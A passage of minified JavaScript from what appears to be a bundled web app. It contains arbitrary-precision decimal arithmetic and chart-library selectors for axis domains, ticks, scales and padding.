t?(n&&(r=n-o)>0?s=s.charAt(0)+"."+s.slice(1)+ri(r):o>1&&(s=s.charAt(0)+"."+s.slice(1)),s=s+(i<0?"e":"e+")+i):i<0?(s="0."+ri(-i-1)+s,n&&(r=n-o)>0&&(s+=ri(r))):i>=o?(s+=ri(i+1-o),n&&(r=n-i-1)>0&&(s=s+"."+ri(r))):((r=i+1)<o&&(s=s.slice(0,r)+"."+s.slice(r)),n&&(r=n-o)>0&&(i+1===o&&(s+="."),s+=ri(r))),e.s<0?"-"+s:s}function y2(e,t){if(e.length>t)return e.length=t,!0}function L4(e){var t,n,r;function i(s){var o=this;if(!(o instanceof i))return new i(s);if(o.constructor=i,s instanceof i){o.s=s.s,o.e=s.e,o.d=(s=s.d)?s.slice():s;return}if(typeof s=="number"){if(s*0!==0)throw Error(ta+s);if(s>0)o.s=1;else if(s<0)s=-s,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(s===~~s&&s<1e7){o.e=0,o.d=[s];return}return g2(o,s.toString())}else if(typeof s!="string")throw Error(ta+s);if(s.charCodeAt(0)===45?(s=s.slice(1),o.s=-1):o.s=1,mI.test(s))g2(o,s);else throw Error(ta+s)}if(i.prototype=pe,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=L4,i.config=i.set=pI,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t<r.length;)e.hasOwnProperty(n=r[t++])||(e[n]=this[n]);return i.config(e),i}function pI(e){if(!e||typeof e!="object")throw Error(Tn+"Object expected");var t,n,r,i=["precision",1,Ns,"rounding",0,8,"toExpNeg",-1/0,0,"toExpPos",0,1/0];for(t=0;t<i.length;t+=3)if((r=e[n=i[t]])!==void 0)if(ks(r)===r&&r>=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(ta+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(ta+n+": "+r);return this}var P0=L4(fI);ln=new P0(1);const Te=P0;function I4(e){var t;return e===0?t=1:t=Math.floor(new Te(e).abs().log(10).toNumber())+1,t}function D4(e,t,n){for(var r=new Te(e),i=0,s=[];r.lt(t)&&i<1e5;)s.push(r.toNumber()),r=r.add(n),i++;return s}var R4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},$4=(e,t,n)=>{if(e.lte(0))return new Te(0);var r=I4(e.toNumber()),i=new Te(10).pow(r),s=e.div(i),o=r!==1?.05:.1,l=new Te(Math.ceil(s.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new Te(c.toNumber()):new Te(Math.ceil(c.toNumber()))},hI=(e,t,n)=>{var r=new Te(1),i=new Te(e);if(!i.isint()&&n){var s=Math.abs(e);s<1?(r=new Te(10).pow(I4(e)-1),i=new Te(Math.floor(i.div(r).toNumber())).mul(r)):s>1&&(i=new Te(Math.floor(e)))}else e===0?i=new Te(Math.floor((t-1)/2)):n||(i=new Te(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c<t;c++)l.push(i.add(new Te(c-o).mul(r)).toNumber());return l},B4=function(t,n,r,i){var s=arguments.length>4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Te(0),tickMin:new Te(0),tickMax:new Te(0)};var o=$4(new Te(n).sub(t).div(r-1),i,s),l;t<=0&&n>=0?l=new Te(0):(l=new Te(t).add(n).div(2),l=l.sub(new Te(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new Te(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?B4(t,n,r,i,s+1):(d<r&&(u=n>0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new Te(c).mul(o)),tickMax:l.add(new Te(u).mul(o))})},xI=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=R4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return hI(l,i,s);var{step:d,tickMin:f,tickMax:p}=B4(l,c,o,s,0),h=D4(f,p.add(new Te(.1).mul(d)),d);return n>r?h.reverse():h},vI=function(t,n){var[r,i]=t,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=R4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=$4(new Te(l).sub(o).div(c-1),s,0),d=[...D4(new Te(o),new Te(l),u),l];return s===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},gI=e=>e.rootProps.barCategoryGap,xl=e=>e.rootProps.stackOffset,F4=e=>e.rootProps.reverseStackOrder,E0=e=>e.options.chartName,_0=e=>e.rootProps.syncId,W4=e=>e.rootProps.syncMethod,A0=e=>e.options.eventEmitter,yI=e=>e.rootProps.baseValue,Zt={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},Ii={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},nr={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},rf=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function U4(e,t,n){if(n!=="auto")return n;if(e!=null)return vr(e,t)?"category":"number"}function b2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Iu(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?b2(Object(n),!0).forEach(function(r){bI(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):b2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function bI(e,t,n){return(t=wI(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function wI(e){var t=jI(e,"string");return typeof t=="symbol"?t:t+""}function jI(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var w2={allowDataOverflow:Ii.allowDataOverflow,allowDecimals:Ii.allowDecimals,allowDuplicatedCategory:!1,dataKey:void 0,domain:void 0,id:Ii.angleAxisId,includeHidden:!1,name:void 0,reversed:Ii.reversed,scale:Ii.scale,tick:Ii.tick,tickCount:void 0,ticks:void 0,type:Ii.type,unit:void 0},j2={allowDataOverflow:nr.allowDataOverflow,allowDecimals:nr.allowDecimals,allowDuplicatedCategory:nr.allowDuplicatedCategory,dataKey:void 0,domain:void 0,id:nr.radiusAxisId,includeHidden:nr.includeHidden,name:void 0,reversed:nr.reversed,scale:nr.scale,tick:nr.tick,tickCount:nr.tickCount,ticks:void 0,type:nr.type,unit:void 0},NI=(e,t)=>{if(t!=null)return e.polarAxis.angleAxis[t]},O0=I([NI,zk],(e,t)=>{var n;if(e!=null)return e;var r=(n=U4(t,"angleAxis",w2.type))!==null&&n!==void 0?n:"category";return Iu(Iu({},w2),{},{type:r})}),kI=(e,t)=>e.polarAxis.radiusAxis[t],T0=I([kI,zk],(e,t)=>{var n;if(e!=null)return e;var r=(n=U4(t,"radiusAxis",j2.type))!==null&&n!==void 0?n:"category";return Iu(Iu({},j2),{},{type:r})}),af=e=>e.polarOptions,M0=I([Hr,Kr,kt],Wk),V4=I([af,M0],(e,t)=>{if(e!=null)return fn(e.innerRadius,t,0)}),H4=I([af,M0],(e,t)=>{if(e!=null)return fn(e.outerRadius,t,t*.8)}),zI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},K4=I([af],zI);I([O0,K4],rf);var G4=I([M0,V4,H4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});I([T0,G4],rf);var Y4=I([De,af,V4,H4,Hr,Kr],(e,t,n,r,i,s)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:fn(o,i,i/2),cy:fn(l,s,s/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Je=(e,t)=>t,vl=(e,t,n)=>n;function L0(e){return e==null?void 0:e.id}function q4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:s}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=L0(l);u.forEach((f,p)=>{var h=s==null||i?p:String(Ve(f,s,null)),x=Ve(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function I0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var sf=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function of(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function SI(e,t){if(e.length===t.length){for(var n=0;n<e.length;n++)if(e[n]!==t[n])return!1;return!0}return!1}var St=e=>{var t=De(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},zs=e=>e.tooltip.settings.axisId;function CI(e){if(e in io)return io[e]();var t="scale".concat(sl(e));if(t in io)return io[t]()}function N2(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(s){function o(){return s.apply(this,arguments)}return o.toString=function(){return s.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(s){var o=i[0],l=i[1];return o<=l?s>=o&&s<=l:s>=l&&s<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?s=>t.call(e,s):void 0,map:(s,o)=>{var l=e(s);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function k2(e,t,n){if(typeof e=="function")return N2(e.copy().domain(t).range(n));if(e!=null){var r=CI(e);if(r!=null)return r.domain(t).range(n),N2(r)}}var X4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Br(t)){for(var n,r,i=0;i<t.length;i++){var s=t[i];Ee(s)&&((n===void 0||s<n)&&(n=s),(r===void 0||s>r)&&(r=s))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function z2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Du(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?z2(Object(n),!0).forEach(function(r){PI(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):z2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function PI(e,t,n){return(t=EI(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function EI(e){var t=_I(e,"string");return typeof t=="symbol"?t:t+""}function _I(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var gh=[0,"auto"],Z4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:void 0,height:30,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"bottom",padding:{left:0,right:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"category",unit:void 0},AI=(e,t)=>e.cartesianAxis.xAxis[t],qr=(e,t)=>{var n=AI(e,t);return n??Z4},Q4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:gh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:cl},OI=(e,t)=>e.cartesianAxis.yAxis[t],Xr=(e,t)=>{var n=OI(e,t);return n??Q4},TI={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},D0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??TI},it=(e,t,n)=>{switch(t){case"xAxis":return qr(e,n);case"yAxis":return Xr(e,n);case"zAxis":return D0(e,n);case"angleAxis":return O0(e,n);case"radiusAxis":return T0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},MI=(e,t,n)=>{switch(t){case"xAxis":return qr(e,n);case"yAxis":return Xr(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},Ss=(e,t,n)=>{switch(t){case"xAxis":return qr(e,n);case"yAxis":return Xr(e,n);case"angleAxis":return O0(e,n);case"radiusAxis":return T0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},J4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function R0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var e3=e=>e.graphicalItems.cartesianItems,LI=I([Je,vl],R0),$0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),gl=I([e3,it,LI],$0,{memoizeOptions:{resultEqualityCheck:of}}),t3=I([gl],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(I0)),n3=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),II=I([gl],n3),B0=e=>e.map(t=>t.data).filter(Boolean).flat(1),DI=I([gl],B0,{memoizeOptions:{resultEqualityCheck:of}}),F0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},W0=I([DI,E4],F0),U0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Ve(i,r)}))):e.map(r=>({value:r})),lf=I([W0,it,gl],U0);function r3(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function zc(e){if(Lr(e)||e instanceof Date){var t=Number(e);if(Ee(t))return t}}function S2(e){if(Array.isArray(e)){var t=[zc(e[0]),zc(e[1])];return Br(t)?t:void 0}var n=zc(e);if(n!=null)return[n,n]}function Fr(e){return e.map(zc).filter(or)}function RI(e,t,n){return!n||typeof t!="number"||mr(t)?[]:n.length?Fr(n.flatMap(r=>{var i=Ve(e,r.dataKey),s,o;if(Array.isArray(i)?[s,o]=i:s=o=i,!(!Ee(s)||!Ee(o)))return[t-s,t+o]})):[]}var yt=e=>{var t=St(e),n=zs(e);return Ss(e,t,n)},yl=I([yt],e=>e==null?void 0:e.dataKey),$I=I([t3,E4,yt],q4),i3=(e,t,n,r)=>{var i={},s=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(s).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(L0);return[l,{stackedData:NT(e,d,n),graphicalItems:u}]}))},a3=I([$I,t3,xl,F4],i3),s3=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:s}=t;if(r==null&&n!=="zAxis"){var o=CT(e,i,s);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},BI=I([it],e=>e.allowDataOverflow),V0=e=>{var t;if(e==null||!("domain"in e))return gh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Fr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:gh},H0=I([it],V0),K0=I([H0,BI],_4),FI=I([a3,Yr,Je,K0],s3,{memoizeOptions:{resultEqualityCheck:sf}}),cf=e=>e.errorBars,WI=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>r3(n,r)),Ru=function(){for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];var i=n.filter(Boolean);if(i.length!==0){var s=i.flat(),o=Math.min(...s),l=Math.max(...s);return[o,l]}},G0=(e,t,n,r,i)=>{var s,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>r3(i,v)),p=Ve(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=RI(l,p,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(s==null||x<s)&&(s=x),(o==null||g>o)&&(o=g)}var y=S2(p);y!=null&&(s=s==null?y[0]:Math.min(s,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=S2(Ve(l,t.dataKey));c!=null&&(s=s==null?c[0]:Math.min(s,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),Ee(s)&&Ee(o))return[s,o]},UI=I([W0,it,II,cf,Je],G0,{memoizeOptions:{resultEqualityCheck:sf}});function VI(e){var{value:t}=e;if(Lr(t)||t instanceof Date)return t}var HI=(e,t,n)=>{var r=e.map(VI).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&sN(r))?qk(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},o3=e=>e.referenceElements.dots,Cs=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),KI=I([o3,Je,vl],Cs),l3=e=>e.referenceElements.areas,GI=I([l3,Je,vl],Cs),c3=e=>e.referenceElements.lines,YI=I([c3,Je,vl],Cs),u3=(e,t)=>{if(e!=null){var n=Fr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},qI=I(KI,Je,u3),d3=(e,t)=>{if(e!=null){var n=Fr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},XI=I([GI,Je],d3);function ZI(e){var t;if(e.x!=null)return Fr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Fr(n)}function QI(e){var t;if(e.y!=null)return Fr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Fr(n)}var f3=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?ZI(r):QI(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},JI=I([YI,Je],f3),eD=I(qI,JI,XI,(e,t,n)=>Ru(e,n,t)),Y0=(e,t,n,r,i,s,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Ru(r,s,i):Ru(s,i);return dI(t,u,e.allowDataOverflow)},tD=I([it,H0,K0,FI,UI,eD,De,Je],Y0,{memoizeOptions:{resultEqualityCheck:sf}}),nD=[0,1],q0=(e,t,n,r,i,s,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=vr(t,s);if(u&&l==null){var d;return qk(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?HI(r,e,u):i==="expand"?nD:o}},X0=I([it,De,W0,lf,xl,Je,tD],q0);function rD(e){return e in io}var m3=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var s="scale".concat(sl(r));return rD(s)?s:"point"}}},Ti=I([it,J4,E0],m3);function Z0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?k2(e.scale,n,r):k2(t,n,r)}var Q0=(e,t,n)=>{var r=V0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Br(e))return xI(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Br(e))return vI(e,t.tickCount,t.allowDecimals)}},J0=I([X0,Ss,Ti],Q0),ev=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Br(t)&&Array.isArray(n)&&n.length>0){var i,s,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(s=n[n.length-1])!==null&&s!==void 0?s:0;return[Math.min(o,l),Math.max(c,u)]}return t},iD=I([it,X0,J0,Je],ev),aD=I(lf,it,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Fr(e.map(f=>f.value))).sort((f,p)=>f-p),i=r[0],s=r[r.length-1];if(i==null||s==null)return 1/0;var o=s-i;if(o===0)return 1/0;for(var l=0;l<r.length-1;l++){var c=r[l],u=r[l+1];if(!(c==null||u==null)){var d=u-c;n=Math.min(n,d)}}return n/o}}),p3=I(aD,De,gI,kt,(e,t,n,r,i)=>i,(e,t,n,r,i)=>{if(!Ee(e))return 0;var s=t==="vertical"?r.height:r.width;if(i==="gap")return e*s/2;if(i==="no-gap"){var o=fn(n,e*s),l=e*s/2;return l-o-(l-o)/s*o}return 0}),sD=(e,t,n)=>{var r=qr(e,t);return r==null||typeof r.padding!="string"?0:p3(e,"xAxis",t,n,r.padding)},oD=(e,t,n)=>{var r=Xr(e,t);return r==null||typeof r.padding!="string"?0:p3(e,"yAxis",t,n,r.padding)},lD=I(qr,sD,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),cD=I(Xr,oD,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),uD=I([kt,lD,Wd,Fd,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:s}=r;return i?[s.left,n.width-s.right]:[e.left+t.left,e.left+e.width-t.right]}),dD=I([kt,De,cD,Wd,Fd,(e,t,n)=>n],(e,t,n,r,i,s)=>{var{padding:o}=i;return s?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),bl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return uD(e,n,r);case"yAxis":return dD(e,n,r);case"zAxis":return(i=D0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return K4(e);case"radiusAxis":return G4(e,n);default:return}},h3=I([it,bl],rf),fD=I([Ti,iD],X4),uf=I([it,Ti,fD,h3],Z0);I([gl,cf,Je],WI);function x3(e,t){return e.id<t.id?-1:e.id>t.id?1:0}var df=(e,t)=>t,ff=(e,t,n)=>n,mD=I($d,df,ff,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(x3)),pD=I(Bd,df,ff,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(x3)),v3=(e,t)=>({width:e.width,height:t.height}),hD=(e,t)=>{var n=typeof t.width=="number"?t.width:cl;return{width:n,height:e.height}};I(kt,qr,v3);var xD=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},vD=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},gD=I(Kr,kt,mD,df,ff,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=v3(t,l);o==null&&(o=xD(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;s[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),s}),yD=I(Hr,kt,pD,df,ff,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=hD(t,l);o==null&&(o=vD(t,r,e));var u=r==="left"&&!i||r==="right"&&i;s[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),s}),bD=(e,t)=>{var n=qr(e,t);if(n!=null)return gD(e,n.orientation,n.mirror)};I([kt,qr,bD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var wD=(e,t)=>{var n=Xr(e,t);if(n!=null)return yD(e,n.orientation,n.mirror)};I([kt,Xr,wD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});I(kt,Xr,(e,t)=>{var n=typeof t.width=="number"?t.width:cl;return{width:n,height:e.height}});var g3=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:s,dataKey:o}=n,l=vr(e,r),c=t.map(u=>u.value);if(o&&l&&s==="category"&&i&&sN(c))return c}},tv=I([De,lf,it,Je],g3),y3=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:s}=n,o=vr(e,r);if(o&&(i==="number"||s!=="auto"))return t.map(l=>l.value)}},nv=I([De,lf,Ss,Je],y3);I([De,MI,Ti,uf,tv,nv,bl,J0,Je],(e,t,n,r,i,s,o,l,c)=>{if(t!=null){var u=vr(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:s,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var jD=(e,t,n,r,i,s,o,l,c)=>{if(!(t==null||r==null)){var u=vr(e,c),{type:d,ticks:f,tickCount:p}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&s!=null&&s.length>=2?qt(s[0]-s[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return Ee(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(or):u&&l?l.map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(or):r.ticks?r.ticks(p).map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(or):r.domain().map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(or)}};I([De,Ss,Ti,uf,J0,bl,tv,nv,Je],jD);var ND=(e,t,n,r,i,s,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=vr(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?qt(r[0]-r[1])*2*u:u,l&&s?s.map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(or):n.ticks?n.ticks(c).map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(or):n.domain().map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(or)}},b3=I([De,Ss,uf,bl,tv,nv,Je],ND),w3=I(it,uf,(e,t)=>{if(!(e==null||t==null))return Du(Du({},e),{},{scale:t})}),kD=I([it,Ti,X0,h3],Z0);I((e,t,n)=>D0(e,n),kD,(e,t)=>{if(!(e==null||t==null))return Du(Du({},e),{},{scale:t})});var zD=I([De,$d,Bd],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return 